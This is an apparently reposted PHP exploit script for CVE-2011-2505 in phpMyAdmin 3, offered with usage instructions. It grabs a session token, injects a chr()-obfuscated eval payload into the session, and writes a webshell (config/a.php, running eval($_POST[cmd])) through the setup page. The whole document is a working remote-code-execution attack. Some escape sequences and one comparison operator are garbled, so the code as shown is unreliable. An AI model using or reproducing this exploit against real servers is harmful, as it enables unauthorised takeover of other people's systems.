以下是引用片段:
#!/usr/bin/php
print_r('
+---------------------------------------------------------------------------+
pma3 - phpMyAdmin3 remote code execute exploit [Not jilei(chicken's ribs)]
by oldjun(www.oldjun.com)
welcome to www.t00ls.net
mail: [email protected]
Assigned CVE id: CVE-2011-2505
+---------------------------------------------------------------------------+
');
/**
* working when the directory:"config" exists and is writeable.
**/
if ($argc 3) {
print_r('
+---------------------------------------------------------------------------+
Usage: php '.$argv[0].' host path
host: target server (ip/hostname)
path: path to pma3
Example:
php '.$argv[0].' localhost /pma/
+---------------------------------------------------------------------------+
');
exit;
}
$host = $argv[1]; $path = $argv[2];
/**
* Try to determine if the directory:"config" exists
**/ echo "[+] Try to determine if the directory:config exists....n"; $returnstr=php_request('config/');
if(strpos($returnstr,'404')){
exit("[-] Exploit Failed! The directory:config do not exists!n");
}
/**
* Try to get token and sessionid
**/ echo "[+] Try to get token and sessionid....n"; $result=php_request('index.php'); preg_match('/phpMyAdmin=(w{32,40});(.*?)token=(w{32})&/s', $result, $resp); $token=$resp[3]; $sessionid=$resp[1];
if($token && $sessionid){
echo "[+] token:$tokenn";
echo "[+] Session ID:$sessionidn";
}else{
exit("[-] Can't get token and Session ID,Exploit Failed!n");
}
/**
* Try to insert shell into session
**/ echo "[+] Try to insert shell into session....n"; php_request('db_create.php?token='.$token.'&session_to_unset=t00ls&_SESSION[ConfigFile][Servers][*/eval(chr(102).chr(112).chr(117).chr(116).chr(115).chr(40).chr(102).chr(111).chr(112).chr(101).chr(110).chr(40).chr(39).chr(97).chr(46).chr(112).chr(104).chr(112).chr(39).chr(44).chr(39).chr(119).chr(39).chr(41).chr(44).chr(39).chr(60).chr(63).chr(112).chr(104).chr(112).chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(99).chr(109).chr(100).chr(93).chr(41).chr(63).chr(62).chr(39).chr(41).chr(59).chr(101).chr(99).chr(104).chr(111).chr(40).chr(39).chr(116).chr(48).chr(48).chr(108).chr(115).chr(39).chr(41).chr(59));/*][host]=t00ls.net','','phpMyAdmin='.$sessionid);//Actually,almost all the php files in home directory of pma3 can be used here.
/**
* Try to create webshell
**/ echo "[+] Try to create webshell....n"; php_request('setup/config.php','phpMyAdmin='.$sessionid.'&tab_hash=&token='.$token.'&check_page_refresh=&DefaultLang=en&ServerDefault=0&eol=unix&submit_save=Save','phpMyAdmin='.$sessionid); /**
* Try to check if the webshell was created successfully
**/ echo "[+] Try to check if the webshell was created successfully....n"; $content=php_request('config/config.inc.php');
if(strpos($content,'t00ls')){
echo "[+] Congratulations! Expoilt successfully....n";
echo "[+] Webshell:http://$host{$path}config/a.php eval($_POST[cmd])n";
}else{
exit("[-] Exploit Failed! Perhaps the directory:config do not exists or is not writeable!n");
}
function php_request($url,$data='',$cookie=''){
global $host, $path;
$method=$data?'POST':'GET';
$packet = $method." ".$path.$url." HTTP/1.1rn";
$packet .= "Accept: */*rn";
$packet .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)rn";
$packet .= "Host: $hostrn";
$packet .= $data?"Content-Type: application/x-www-form-urlencodedrn":"";
$packet .= $data?"Content-Length: ".strlen($data)."rn":"";
$packet .= $cookie?"Cookie: $cookiern":"";
$packet .= "Connection: Closernrn";
$packet .= $data?$data:"";
$fp = fsockopen(gethostbyname($host), 80);
if (!$fp) {
echo 'No response from '.$host; die;
}
fputs($fp, $packet);
$resp = '';
while ($fp && !feof($fp))
$resp .= fread($fp, 1024);
return $resp;
}
?>
|
评论